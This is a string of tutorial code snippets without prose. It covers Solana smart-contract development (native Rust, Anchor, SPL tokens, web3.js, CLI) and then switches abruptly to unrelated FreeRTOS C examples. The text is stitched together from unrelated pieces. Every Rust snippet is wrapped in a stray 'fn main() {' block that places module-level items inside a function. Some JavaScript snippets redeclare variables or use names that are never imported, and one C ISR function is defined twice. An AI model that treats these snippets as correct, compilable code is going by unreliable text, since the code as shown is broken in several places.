solana-program = "1.18"

[lib]
crate-type = ["cdylib", "lib"]

#![allow(unused)]
fn main() {
use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    msg,
    pubkey::Pubkey,
};

// Declare program entrypoint
entrypoint!(process_instruction);

// Program entrypoint function
pub fn process_instruction(
    program_id: &Pubkey,        // This program's address
    accounts: &[AccountInfo],   // Accounts passed to program
    instruction_data: &[u8],    // Instruction data
) -> ProgramResult {
    msg!("Hello, Solana!");
    Ok(())
}
}
#![allow(unused)]
fn main() {
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint,
    entrypoint::ProgramResult,
    msg,
    program_error::ProgramError,
    pubkey::Pubkey,
};

// Define state structure
#[derive(BorshSerialize, BorshDeserialize, Debug)]
pub struct CounterAccount {
    pub count: u32,
}

entrypoint!(process_instruction);

pub fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    // Parse instruction
    let instruction = instruction_data
        .get(0)
        .ok_or(ProgramError::InvalidInstructionData)?;

    // Get accounts
    let accounts_iter = &mut accounts.iter();
    let counter_account = next_account_info(accounts_iter)?;

    // Verify ownership
    if counter_account.owner != program_id {
        return Err(ProgramError::IncorrectProgramId);
    }

    // Process instruction
    match instruction {
        0 => increment(counter_account),
        1 => decrement(counter_account),
        _ => Err(ProgramError::InvalidInstructionData),
    }
}

fn increment(counter_account: &AccountInfo) -> ProgramResult {
    let mut counter = CounterAccount::try_from_slice(&counter_account.data.borrow())?;
    counter.count += 1;
    counter.serialize(&mut &mut counter_account.data.borrow_mut()[..])?;
    msg!("Counter incremented to: {}", counter.count);
    Ok(())
}

fn decrement(counter_account: &AccountInfo) -> ProgramResult {
    let mut counter = CounterAccount::try_from_slice(&counter_account.data.borrow())?;
    counter.count = counter.count.saturating_sub(1);
    counter.serialize(&mut &mut counter_account.data.borrow_mut()[..])?;
    msg!("Counter decremented to: {}", counter.count);
    Ok(())
}
}
# Build program
cargo build-bpf

# Deploy to devnet
solana program deploy target/deploy/my_solana_program.so

# Output:
# Program Id: 7X8y9Z3a...

#![allow(unused)]
fn main() {
#[cfg(test)]
mod tests {
    use super::*;
    use solana_program::clock::Epoch;
    use std::mem;

    #[test]
    fn test_increment() {
        let program_id = Pubkey::default();
        let key = Pubkey::default();
        let mut lamports = 0;
        let mut data = vec![0; mem::size_of::<CounterAccount>()];
        let owner = program_id;

        let account = AccountInfo::new(
            &key,
            false,
            true,
            &mut lamports,
            &mut data,
            &owner,
            false,
            Epoch::default(),
        );

        let instruction_data: Vec<u8> = vec![0];

        process_instruction(&program_id, &[account.clone()], &instruction_data).unwrap();

        let counter = CounterAccount::try_from_slice(&account.data.borrow()).unwrap();
        assert_eq!(counter.count, 1);
    }
}
}
# Install Anchor CLI
cargo install --git https://github.com/coral-xyz/anchor avm --locked --force
avm install latest
avm use latest

# Verify installation
anchor --version

# Create new project
anchor init my-anchor-project
cd my-anchor-project

# Project structure:
# ├── Anchor.toml          # Anchor config
# ├── Cargo.toml           # Rust workspace
# ├── programs/            # Your programs
# │   └── my-anchor-project/
# │       ├── Cargo.toml
# │       └── src/
# │           └── lib.rs
# ├── tests/               # TypeScript tests
# └── migrations/          # Deploy scripts

#![allow(unused)]
fn main() {
use anchor_lang::prelude::*;

// Declare program ID (replace with your actual program ID after deploy)
declare_id!("Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS");

#[program]
pub mod my_anchor_project {
    use super::*;

    // Initialize instruction
    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
        let counter = &mut ctx.accounts.counter;
        counter.count = 0;
        counter.authority = ctx.accounts.user.key();
        msg!("Counter initialized!");
        Ok(())
    }

    // Increment instruction
    pub fn increment(ctx: Context<Update>) -> Result<()> {
        let counter = &mut ctx.accounts.counter;
        counter.count += 1;
        msg!("Counter: {}", counter.count);
        Ok(())
    }

    // Decrement instruction
    pub fn decrement(ctx: Context<Update>) -> Result<()> {
        let counter = &mut ctx.accounts.counter;
        counter.count = counter.count.saturating_sub(1);
        msg!("Counter: {}", counter.count);
        Ok(())
    }
}

// Account structure
#[account]
pub struct Counter {
    pub count: u64,
    pub authority: Pubkey,
}

// Validation structs
#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + 8 + 32,  // discriminator + count + authority
        seeds = [b"counter", user.key().as_ref()],
        bump
    )]
    pub counter: Account<'info, Counter>,

    #[account(mut)]
    pub user: Signer<'info>,

    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Update<'info> {
    #[account(
        mut,
        has_one = authority,  // Verify authority matches
        seeds = [b"counter", authority.key().as_ref()],
        bump
    )]
    pub counter: Account<'info, Counter>,

    pub authority: Signer<'info>,
}
}
#![allow(unused)]
fn main() {
#[account(
    init,                          // Create account
    payer = user,                  // Who pays for creation
    space = 8 + 100,              // Account size
    seeds = [b"seed"],            // PDA seeds
    bump,                         // PDA bump seed
    mut,                          // Account is mutable
    has_one = authority,          // Check field matches
    constraint = amount > 0,      // Custom validation
)]
}
# Build
anchor build

# Update program ID in lib.rs and Anchor.toml
anchor keys list

# Test
anchor test

# Deploy
anchor deploy

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { MyAnchorProject } from "../target/types/my_anchor_project";
import { expect } from "chai";

describe("my-anchor-project", () => {
  const provider = anchor.AnchorProvider.env();
  anchor.setProvider(provider);

  const program = anchor.workspace.MyAnchorProject as Program<MyAnchorProject>;
  const user = provider.wallet;

  // Derive PDA
  const [counterPda] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from("counter"), user.publicKey.toBuffer()],
    program.programId
  );

  it("Initializes counter", async () => {
    const tx = await program.methods
      .initialize()
      .accounts({
        counter: counterPda,
        user: user.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .rpc();

    const counter = await program.account.counter.fetch(counterPda);
    expect(counter.count.toNumber()).to.equal(0);
    expect(counter.authority.toString()).to.equal(user.publicKey.toString());
  });

  it("Increments counter", async () => {
    await program.methods
      .increment()
      .accounts({
        counter: counterPda,
        authority: user.publicKey,
      })
      .rpc();

    const counter = await program.account.counter.fetch(counterPda);
    expect(counter.count.toNumber()).to.equal(1);
  });

  it("Decrements counter", async () => {
    await program.methods
      .decrement()
      .accounts({
        counter: counterPda,
        authority: user.publicKey,
      })
      .rpc();

    const counter = await program.account.counter.fetch(counterPda);
    expect(counter.count.toNumber()).to.equal(0);
  });
});

#![allow(unused)]
fn main() {
#[error_code]
pub enum ErrorCode {
    #[msg("Amount must be greater than zero")]
    InvalidAmount,

    #[msg("Insufficient funds")]
    InsufficientFunds,

    #[msg("Unauthorized access")]
    Unauthorized,
}

// Use in program
require!(amount > 0, ErrorCode::InvalidAmount);
}
Mint Account (Token Definition)
  ├─→ Token Account 1 (User A's balance)
  ├─→ Token Account 2 (User B's balance)
  └─→ Token Account 3 (User C's balance)

# Create a new token mint
spl-token create-token

# Output: Token address (Mint)
# Example: 7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU

# Create token account for yourself
spl-token create-account <TOKEN_ADDRESS>

# Mint tokens
spl-token mint <TOKEN_ADDRESS> 1000

# Check balance
spl-token balance <TOKEN_ADDRESS>

# Transfer tokens
spl-token transfer <TOKEN_ADDRESS> 100 <RECIPIENT_ADDRESS>

#![allow(unused)]
fn main() {
pub struct Account {
    pub mint: Pubkey,           // Token type
    pub owner: Pubkey,          // Who owns this account
    pub amount: u64,            // Token balance
    pub delegate: Option<Pubkey>,  // Delegated authority
    pub state: AccountState,    // Initialized/Frozen
    pub is_native: Option<u64>, // Is this wrapped SOL?
    pub delegated_amount: u64,  // Amount delegated
    pub close_authority: Option<Pubkey>,  // Who can close
}
}
#![allow(unused)]
fn main() {
pub struct Mint {
    pub mint_authority: Option<Pubkey>,  // Who can mint
    pub supply: u64,                     // Total supply
    pub decimals: u8,                    // Decimal places
    pub is_initialized: bool,            // Is initialized?
    pub freeze_authority: Option<Pubkey>, // Who can freeze
}
}
#![allow(unused)]
fn main() {
// ATA address derived from:
// - User's wallet address
// - Token mint address
// - SPL Token program ID

// Find ATA
let ata = get_associated_token_address(
    &user_wallet,
    &token_mint,
);
}
#![allow(unused)]
fn main() {
use anchor_spl::token::{self, Token, TokenAccount, Mint, Transfer};

#[derive(Accounts)]
pub struct TransferTokens<'info> {
    #[account(mut)]
    pub from: Account<'info, TokenAccount>,

    #[account(mut)]
    pub to: Account<'info, TokenAccount>,

    pub authority: Signer<'info>,

    pub token_program: Program<'info, Token>,
}

pub fn transfer_tokens(ctx: Context<TransferTokens>, amount: u64) -> Result<()> {
    let cpi_accounts = Transfer {
        from: ctx.accounts.from.to_account_info(),
        to: ctx.accounts.to.to_account_info(),
        authority: ctx.accounts.authority.to_account_info(),
    };

    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_ctx = CpiContext::new(cpi_program, cpi_accounts);

    token::transfer(cpi_ctx, amount)?;
    Ok(())
}
}
# Create NFT mint (supply=1, decimals=0)
spl-token create-token --decimals 0

# Mint exactly 1 token
spl-token mint <TOKEN_ADDRESS> 1

# Remove mint authority (cannot mint more)
spl-token authorize <TOKEN_ADDRESS> mint --disable

# Install
npm install @solana/web3.js

import {
  Connection,
  PublicKey,
  LAMPORTS_PER_SOL,
  clusterApiUrl,
} from "@solana/web3.js";

// Connect to devnet
const connection = new Connection(clusterApiUrl("devnet"), "confirmed");

// Get balance
const publicKey = new PublicKey("YourPublicKeyHere");
const balance = await connection.getBalance(publicKey);
console.log(`Balance: ${balance / LAMPORTS_PER_SOL} SOL`);

// Get recent blockhash
const { blockhash } = await connection.getLatestBlockhash();

// Get account info
const accountInfo = await connection.getAccountInfo(publicKey);

import {
  Connection,
  Keypair,
  SystemProgram,
  Transaction,
  sendAndConfirmTransaction,
  LAMPORTS_PER_SOL,
} from "@solana/web3.js";

const connection = new Connection(clusterApiUrl("devnet"), "confirmed");

// Load keypair from file or create new
const fromKeypair = Keypair.generate();
const toPublicKey = new PublicKey("RecipientPublicKeyHere");

// Airdrop some SOL for testing
await connection.requestAirdrop(fromKeypair.publicKey, 2 * LAMPORTS_PER_SOL);

// Create transfer instruction
const transaction = new Transaction().add(
  SystemProgram.transfer({
    fromPubkey: fromKeypair.publicKey,
    toPubkey: toPublicKey,
    lamports: 0.1 * LAMPORTS_PER_SOL,
  })
);

// Send transaction
const signature = await sendAndConfirmTransaction(
  connection,
  transaction,
  [fromKeypair]
);

console.log("Transaction signature:", signature);

import { Connection, PublicKey, Transaction, TransactionInstruction } from "@solana/web3.js";

const connection = new Connection(clusterApiUrl("devnet"), "confirmed");
const programId = new PublicKey("YourProgramId");
const accountPubkey = new PublicKey("AccountToModify");

// Create instruction
const instruction = new TransactionInstruction({
  keys: [
    { pubkey: accountPubkey, isSigner: false, isWritable: true },
    { pubkey: wallet.publicKey, isSigner: true, isWritable: false },
  ],
  programId,
  data: Buffer.from([0]), // Instruction data
});

// Create and send transaction
const transaction = new Transaction().add(instruction);
const signature = await wallet.sendTransaction(transaction, connection);
await connection.confirmTransaction(signature);

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";

// Load IDL
import idl from "./idl.json";

// Setup provider
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);

// Create program interface
const programId = new anchor.web3.PublicKey("YourProgramId");
const program = new Program(idl, programId, provider);

// Call program method
const tx = await program.methods
  .increment()
  .accounts({
    counter: counterPda,
    authority: provider.wallet.publicKey,
  })
  .rpc();

console.log("Transaction signature:", tx);

// Fetch account data
const counter = await program.account.counter.fetch(counterPda);
console.log("Count:", counter.count.toString());

// Phantom Wallet
const getProvider = () => {
  if ("solana" in window) {
    const provider = window.solana;
    if (provider.isPhantom) {
      return provider;
    }
  }
  window.open("https://phantom.app/", "_blank");
};

// Connect
const provider = getProvider();
const resp = await provider.connect();
console.log("Public key:", resp.publicKey.toString());

// Sign and send transaction
const { signature } = await provider.signAndSendTransaction(transaction);

// Sign message
const message = new TextEncoder().encode("Hello Solana!");
const { signature } = await provider.signMessage(message);

# Generate new keypair
solana-keygen new

# Recover from seed phrase
solana-keygen recover

# Show public key
solana-keygen pubkey ~/.config/solana/id.json

# Verify keypair
solana-keygen verify <PUBKEY> ~/.config/solana/id.json

# Show config
solana config get

# Set RPC URL
solana config set --url https://api.devnet.solana.com
solana config set --url https://api.mainnet-beta.solana.com
solana config set --url http://localhost:8899  # Local

# Set keypair
solana config set --keypair ~/.config/solana/id.json

# Get balance
solana balance

# Get account info
solana account <ADDRESS>

# Airdrop (devnet/testnet only)
solana airdrop 2

# Transfer SOL
solana transfer <RECIPIENT> 0.5

# Check transaction
solana confirm <SIGNATURE>

# Deploy program
solana program deploy /path/to/program.so

# Show program
solana program show <PROGRAM_ID>

# Get program account data
solana account <PROGRAM_ID>

# Close program (recovers rent)
solana program close <PROGRAM_ID>

# Upgrade program
solana program deploy --program-id <PROGRAM_ID> /path/to/new_program.so

# Create new token
spl-token create-token
spl-token create-token --decimals 9

# Create token account
spl-token create-account <TOKEN_MINT>

# Get token accounts
spl-token accounts

# Mint tokens
spl-token mint <TOKEN_MINT> <AMOUNT>

# Transfer tokens
spl-token transfer <TOKEN_MINT> <AMOUNT> <RECIPIENT>

# Get token supply
spl-token supply <TOKEN_MINT>

# Burn tokens
spl-token burn <TOKEN_ACCOUNT> <AMOUNT>

# Authorize operations
spl-token authorize <TOKEN_MINT> mint <NEW_AUTHORITY>
spl-token authorize <TOKEN_MINT> mint --disable  # Remove mint authority

# Close token account (get rent back)
spl-token close <TOKEN_ACCOUNT>

# Wrap SOL (create wSOL)
spl-token wrap 1.0

# Unwrap SOL
spl-token unwrap

# Start local validator
solana-test-validator

# Start with specific programs
solana-test-validator --bpf-program <PROGRAM_ID> /path/to/program.so

# Reset ledger
solana-test-validator --reset

# Clone account from mainnet
solana-test-validator --clone <ADDRESS>

# Set compute units
solana-test-validator --compute-unit-limit 200000

# Install Rust Analyzer
code --install-extension rust-lang.rust-analyzer

# Install
cargo install --git https://github.com/solana-labs/solana solana-test-validator

# Run with logs
solana-test-validator -l

# View logs
solana logs

# Run all tests
anchor test

# Run specific test
anchor test --skip-local-validator

# Via CLI (devnet)
solana airdrop 2

# Web faucets:
# - https://faucet.solana.com
# - https://solfaucet.com

[dependencies]
solana-program = "1.18"
solana-sdk = "1.18"
anchor-lang = "0.29"
anchor-spl = "0.29"
borsh = "0.10"

npm install @solana/web3.js
npm install @coral-xyz/anchor
npm install @solana/spl-token
npm install @metaplex-foundation/js

pip install solana
pip install anchorpy

#![allow(unused)]
fn main() {
// Request more compute units
solana_program::compute_budget::ComputeBudgetInstruction::set_compute_unit_limit(400_000);
}
#![allow(unused)]
fn main() {
// Bad: Large struct with unused fields
#[account]
pub struct BadAccount {
    pub data: [u8; 10000],  // Wastes space
}

// Good: Only store what's needed
#[account]
pub struct GoodAccount {
    pub count: u64,
    pub owner: Pubkey,
}
}
#![allow(unused)]
fn main() {
#[account(zero_copy)]
pub struct LargeAccount {
    pub data: [u8; 10000],
}
}
// These can run in parallel (different accounts)
const tx1 = transfer(accountA, accountB);
const tx2 = transfer(accountC, accountD);

// Send simultaneously
await Promise.all([
  connection.sendTransaction(tx1),
  connection.sendTransaction(tx2),
]);

#![allow(unused)]
fn main() {
// Always validate account ownership
if account.owner != program_id {
    return Err(ProgramError::IncorrectProgramId);
}

// Verify signer
if !account.is_signer {
    return Err(ProgramError::MissingRequiredSignature);
}

// Verify account is writable
if !account.is_writable {
    return Err(ProgramError::InvalidArgument);
}
}
#![allow(unused)]
fn main() {
// Use checked math
let result = amount.checked_add(increase)
    .ok_or(ProgramError::ArithmeticOverflow)?;

// Or saturating math
let result = amount.saturating_add(increase);
}
#![allow(unused)]
fn main() {
#[derive(Accounts)]
pub struct Transfer<'info> {
    #[account(mut, has_one = authority)]
    pub account: Account<'info, MyAccount>,

    pub authority: Signer<'info>,  // Must sign
}
}
#![allow(unused)]
fn main() {
// Verify PDA derivation
let (expected_pda, bump) = Pubkey::find_program_address(
    &[b"seed", user.key().as_ref()],
    program_id
);

require_keys_eq!(account.key(), expected_pda, ErrorCode::InvalidPDA);
}
#![allow(unused)]
fn main() {
// Anchor provides automatic reentrancy protection
// But be careful with state updates before CPIs
ctx.accounts.user_account.balance -= amount;  // Update first
token::transfer(cpi_ctx, amount)?;            // Then CPI
}
#include "FreeRTOS.h"
#include "task.h"

void vTaskFunction(void *pvParameters) {
    TickType_t xLastWakeTime = xTaskGetTickCount();
    const TickType_t xFrequency = pdMS_TO_TICKS(1000);

    for(;;) {
        // Task code executes every 1000ms
        printf("Task running\n");

        // Delay until next cycle (more precise than vTaskDelay)
        vTaskDelayUntil(&xLastWakeTime, xFrequency);
    }
}

void main(void) {
    TaskHandle_t xHandle = NULL;

    BaseType_t xReturned = xTaskCreate(
        vTaskFunction,      // Function pointer
        "TaskName",         // Descriptive name
        configMINIMAL_STACK_SIZE,  // Stack size in words
        NULL,               // Task parameters
        tskIDLE_PRIORITY + 1,  // Priority
        &xHandle            // Task handle
    );

    if(xReturned == pdPASS) {
        vTaskStartScheduler();  // Start scheduler
    }

    for(;;);  // Should never reach here if scheduler starts
}

// Priority levels
#define PRIORITY_IDLE       0
#define PRIORITY_LOW        1
#define PRIORITY_NORMAL     2
#define PRIORITY_HIGH       3
#define PRIORITY_REALTIME   4

// Change task priority at runtime
vTaskPrioritySet(xHandle, PRIORITY_HIGH);
UBaseType_t uxPriority = uxTaskPriorityGet(xHandle);

// Task suspension and resumption
vTaskSuspend(xHandle);    // Suspend task
vTaskResume(xHandle);     // Resume task
xTaskResumeFromISR(xHandle);  // Resume from ISR

// Task deletion
vTaskDelete(xHandle);     // Delete specified task
vTaskDelete(NULL);        // Delete current task

#include "queue.h"

typedef struct {
    int sensor_id;
    float value;
    TickType_t timestamp;
} SensorData_t;

QueueHandle_t xDataQueue;

void vProducerTask(void *pvParameters) {
    SensorData_t data;

    // Create queue for 10 items
    xDataQueue = xQueueCreate(10, sizeof(SensorData_t));

    if(xDataQueue != NULL) {
        for(;;) {
            data.sensor_id = 1;
            data.value = read_sensor();
            data.timestamp = xTaskGetTickCount();

            // Send to queue (wait up to 100ms if full)
            if(xQueueSend(xDataQueue, &data, pdMS_TO_TICKS(100)) != pdPASS) {
                // Queue full, handle error
            }

            vTaskDelay(pdMS_TO_TICKS(1000));
        }
    }
}

void vConsumerTask(void *pvParameters) {
    SensorData_t received;

    for(;;) {
        // Wait indefinitely for data
        if(xQueueReceive(xDataQueue, &received, portMAX_DELAY) == pdPASS) {
            printf("Sensor %d: %.2f at tick %lu\n",
                   received.sensor_id,
                   received.value,
                   received.timestamp);
        }
    }
}

// Queue utility functions
UBaseType_t uxMessagesWaiting = uxQueueMessagesWaiting(xDataQueue);
UBaseType_t uxSpacesAvailable = uxQueueSpacesAvailable(xDataQueue);
xQueueReset(xDataQueue);  // Empty the queue

void vExampleISR(void) {
    BaseType_t xHigherPriorityTaskWoken = pdFALSE;
    SensorData_t data = {0};

    // Send from ISR
    xQueueSendFromISR(xDataQueue, &data, &xHigherPriorityTaskWoken);

    // Context switch if higher priority task was woken
    portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}

#include "semphr.h"

SemaphoreHandle_t xBinarySemaphore;

void vTaskSignaler(void *pvParameters) {
    xBinarySemaphore = xSemaphoreCreateBinary();

    for(;;) {
        // Perform work
        process_data();

        // Signal completion
        xSemaphoreGive(xBinarySemaphore);

        vTaskDelay(pdMS_TO_TICKS(1000));
    }
}

void vTaskWaiter(void *pvParameters) {
    for(;;) {
        // Wait for signal
        if(xSemaphoreTake(xBinarySemaphore, portMAX_DELAY) == pdTRUE) {
            // Semaphore acquired, respond to event
            handle_completion();
        }
    }
}

// Create semaphore with max count of 5, initial count of 5
SemaphoreHandle_t xCountingSemaphore = xSemaphoreCreateCounting(5, 5);

void vResourceUser(void *pvParameters) {
    for(;;) {
        // Wait for resource (decrements count)
        if(xSemaphoreTake(xCountingSemaphore, pdMS_TO_TICKS(100)) == pdTRUE) {
            // Use resource
            use_limited_resource();

            // Release resource (increments count)
            xSemaphoreGive(xCountingSemaphore);
        }

        vTaskDelay(pdMS_TO_TICKS(100));
    }
}

SemaphoreHandle_t xMutex;

void vCriticalTask(void *pvParameters) {
    xMutex = xSemaphoreCreateMutex();

    for(;;) {
        // Acquire mutex (blocks if already taken)
        if(xSemaphoreTake(xMutex, portMAX_DELAY) == pdTRUE) {
            // Critical section - protected resource access
            shared_resource++;
            update_display(shared_resource);

            // Release mutex
            xSemaphoreGive(xMutex);
        }

        vTaskDelay(pdMS_TO_TICKS(10));
    }
}

SemaphoreHandle_t xRecursiveMutex;

void vRecursiveFunction(int depth) {
    if(depth > 0) {
        xSemaphoreTakeRecursive(xRecursiveMutex, portMAX_DELAY);
        vRecursiveFunction(depth - 1);
        xSemaphoreGiveRecursive(xRecursiveMutex);
    }
}

#include "timers.h"

TimerHandle_t xAutoReloadTimer;
TimerHandle_t xOneShotTimer;

void vTimerCallback(TimerHandle_t xTimer) {
    // Called when timer expires
    uint32_t ulCount = (uint32_t)pvTimerGetTimerID(xTimer);
    printf("Timer expired, count: %lu\n", ulCount);
}

void vTimerSetup(void) {
    // Auto-reload timer (periodic, 1000ms)
    xAutoReloadTimer = xTimerCreate(
        "AutoReload",               // Name
        pdMS_TO_TICKS(1000),       // Period
        pdTRUE,                     // Auto-reload
        (void *)0,                  // Timer ID
        vTimerCallback              // Callback
    );

    // One-shot timer (single execution, 5000ms)
    xOneShotTimer = xTimerCreate(
        "OneShot",
        pdMS_TO_TICKS(5000),
        pdFALSE,                    // One-shot
        (void *)1,
        vTimerCallback
    );

    // Start timers
    if(xAutoReloadTimer != NULL) {
        xTimerStart(xAutoReloadTimer, 0);
    }

    if(xOneShotTimer != NULL) {
        xTimerStart(xOneShotTimer, 0);
    }
}

// Timer control
xTimerStop(xAutoReloadTimer, 0);
xTimerChangePeriod(xAutoReloadTimer, pdMS_TO_TICKS(2000), 0);
xTimerReset(xOneShotTimer, 0);  // Restart timer

#include "event_groups.h"

EventGroupHandle_t xEventGroup;

// Define event bits
#define BIT_0  (1 << 0)  // Sensor ready
#define BIT_1  (1 << 1)  // Data valid
#define BIT_2  (1 << 2)  // Calibration complete
#define ALL_SYNC_BITS (BIT_0 | BIT_1 | BIT_2)

void vEventSetter(void *pvParameters) {
    xEventGroup = xEventGroupCreate();

    for(;;) {
        // Set individual bits
        xEventGroupSetBits(xEventGroup, BIT_0);
        vTaskDelay(pdMS_TO_TICKS(100));

        xEventGroupSetBits(xEventGroup, BIT_1);
        vTaskDelay(pdMS_TO_TICKS(100));

        xEventGroupSetBits(xEventGroup, BIT_2);
        vTaskDelay(pdMS_TO_TICKS(1000));
    }
}

void vEventWaiter(void *pvParameters) {
    EventBits_t uxBits;

    for(;;) {
        // Wait for all bits to be set
        uxBits = xEventGroupWaitBits(
            xEventGroup,
            ALL_SYNC_BITS,          // Bits to wait for
            pdTRUE,                 // Clear on exit
            pdTRUE,                 // Wait for all bits
            portMAX_DELAY           // Wait indefinitely
        );

        if((uxBits & ALL_SYNC_BITS) == ALL_SYNC_BITS) {
            printf("All events occurred\n");
        }
    }
}

// Event group utilities
EventBits_t uxCurrentBits = xEventGroupGetBits(xEventGroup);
xEventGroupClearBits(xEventGroup, BIT_0);

TaskHandle_t xHandleToNotify;

void vNotifyingTask(void *pvParameters) {
    for(;;) {
        // Perform work
        uint32_t ulValueToSend = 42;

        // Send notification
        xTaskNotify(
            xHandleToNotify,
            ulValueToSend,
            eSetValueWithOverwrite
        );

        vTaskDelay(pdMS_TO_TICKS(1000));
    }
}

void vNotifiedTask(void *pvParameters) {
    uint32_t ulNotificationValue;

    for(;;) {
        // Wait for notification
        if(xTaskNotifyWait(
            0x00,                   // Don't clear on entry
            0xFFFFFFFF,             // Clear all on exit
            &ulNotificationValue,
            portMAX_DELAY) == pdTRUE) {

            printf("Received: %lu\n", ulNotificationValue);
        }
    }
}

// Notification from ISR
void vExampleISR(void) {
    BaseType_t xHigherPriorityTaskWoken = pdFALSE;

    vTaskNotifyGiveFromISR(xHandleToNotify, &xHigherPriorityTaskWoken);
    portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}

// Allocate memory
void *pvBuffer = pvPortMalloc(100);

// Free memory
vPortFree(pvBuffer);

// Get heap statistics
HeapStats_t xHeapStats;
vPortGetHeapStats(&xHeapStats);

printf("Available heap: %zu bytes\n", xHeapStats.xAvailableHeapSpaceInBytes);
printf("Largest free block: %zu bytes\n", xHeapStats.xSizeOfLargestFreeBlockInBytes);
printf("Minimum ever free: %zu bytes\n", xHeapStats.xMinimumEverFreeBytesRemaining);

// Get free heap size
size_t xFreeHeapSize = xPortGetFreeHeapSize();
size_t xMinimumEverFreeHeapSize = xPortGetMinimumEverFreeHeapSize();

// Enable static allocation in FreeRTOSConfig.h
#define configSUPPORT_STATIC_ALLOCATION 1

StaticTask_t xTaskBuffer;
StackType_t xStack[128];

TaskHandle_t xHandle = xTaskCreateStatic(
    vTaskFunction,
    "StaticTask",
    128,
    NULL,
    1,
    xStack,
    &xTaskBuffer
);

void vUART_ISR(void) {
    BaseType_t xHigherPriorityTaskWoken = pdFALSE;
    char cReceivedChar;

    // Read character from UART
    cReceivedChar = UART_ReadByte();

    // Send to queue from ISR
    xQueueSendFromISR(xRxQueue, &cReceivedChar, &xHigherPriorityTaskWoken);

    // Yield if necessary
    portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}

// Disable interrupts (short critical sections only)
taskENTER_CRITICAL();
// Critical code
taskEXIT_CRITICAL();

// From ISR (saves/restores interrupt state)
UBaseType_t uxSavedInterruptStatus;
uxSavedInterruptStatus = taskENTER_CRITICAL_FROM_ISR();
// Critical code
taskEXIT_CRITICAL_FROM_ISR(uxSavedInterruptStatus);

// Configure interrupt priorities
// (implementation specific to hardware)

// IMPORTANT: FreeRTOS API can only be called from interrupts
// with priority at or below configMAX_SYSCALL_INTERRUPT_PRIORITY

// On Cortex-M, lower numeric value = higher priority
// Set priorities appropriately in FreeRTOSConfig.h
#define configMAX_SYSCALL_INTERRUPT_PRIORITY  5

// High priority interrupt (cannot use FreeRTOS API)
void vHighPriorityISR(void) {
    // No FreeRTOS calls allowed
    toggle_gpio_fast();
}

// Lower priority interrupt (can use FreeRTOS API)
void vLowPriorityISR(void) {
    // Can safely call FromISR functions
    BaseType_t xHigherPriorityTaskWoken = pdFALSE;
    xSemaphoreGiveFromISR(xSemaphore, &xHigherPriorityTaskWoken);
    portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}

// Scheduling
#define configUSE_PREEMPTION              1
#define configUSE_TIME_SLICING            1
#define configUSE_IDLE_HOOK               0
#define configUSE_TICK_HOOK               0

// Tick rate (Hz)
#define configTICK_RATE_HZ                1000

// CPU clock (Hz)
#define configCPU_CLOCK_HZ                80000000

// Priorities
#define configMAX_PRIORITIES              5
#define configMINIMAL_STACK_SIZE          128

// Heap size (bytes)
#define configTOTAL_HEAP_SIZE             10240

// Features
#define configUSE_MUTEXES                 1
#define configUSE_RECURSIVE_MUTEXES       1
#define configUSE_COUNTING_SEMAPHORES     1
#define configUSE_QUEUE_SETS              1
#define configUSE_TIMERS                  1
#define configUSE_TASK_NOTIFICATIONS      1

// Memory allocation
#define configSUPPORT_STATIC_ALLOCATION   1
#define configSUPPORT_DYNAMIC_ALLOCATION  1

// Runtime statistics
#define configGENERATE_RUN_TIME_STATS     1
#define configUSE_TRACE_FACILITY          1
#define configUSE_STATS_FORMATTING_FUNCTIONS 1

// Stack overflow detection
#define configCHECK_FOR_STACK_OVERFLOW    2

// Assert
#define configASSERT(x)  if(!(x)) { taskDISABLE_INTERRUPTS(); for(;;); }

void vTaskList_Display(void) {
    char pcWriteBuffer[512];

    // Task list (name, state, priority, stack, task number)
    vTaskList(pcWriteBuffer);
    printf("%s\n", pcWriteBuffer);

    // Runtime statistics (name, runtime, percentage)
    vTaskGetRunTimeStats(pcWriteBuffer);
    printf("%s\n", pcWriteBuffer);
}

// Get individual task information
TaskStatus_t xTaskDetails;
vTaskGetInfo(
    xHandle,
    &xTaskDetails,
    pdTRUE,         // Include stack high water mark
    eInvalid        // Get current state
);

printf("Stack high water mark: %u\n", xTaskDetails.usStackHighWaterMark);
printf("Task state: %d\n", xTaskDetails.eCurrentState);
printf("Task priority: %u\n", xTaskDetails.uxCurrentPriority);

// Example priority scheme
#define PRIORITY_IDLE           0  // Idle task (system)
#define PRIORITY_BACKGROUND     1  // Background processing
#define PRIORITY_NORMAL         2  // Standard tasks
#define PRIORITY_UI             3  // User interface
#define PRIORITY_COMMS          4  // Time-critical communication
#define PRIORITY_CONTROL        5  // Real-time control loops
#define PRIORITY_SAFETY         6  // Safety-critical tasks

// Monitor stack usage
UBaseType_t uxHighWaterMark = uxTaskGetStackHighWaterMark(NULL);
printf("Unused stack: %u words\n", uxHighWaterMark);

// Start with generous size, then reduce based on measurements
// Words, not bytes (multiply by sizeof(StackType_t) for bytes)

// RAII pattern for mutex
typedef struct {
    SemaphoreHandle_t mutex;
    BaseType_t locked;
} MutexGuard_t;

MutexGuard_t MutexGuard_Lock(SemaphoreHandle_t mutex) {
    MutexGuard_t guard = {mutex, pdFALSE};
    if(xSemaphoreTake(mutex, portMAX_DELAY) == pdTRUE) {
        guard.locked = pdTRUE;
    }
    return guard;
}

void MutexGuard_Unlock(MutexGuard_t *guard) {
    if(guard->locked) {
        xSemaphoreGive(guard->mutex);
        guard->locked = pdFALSE;
    }
}

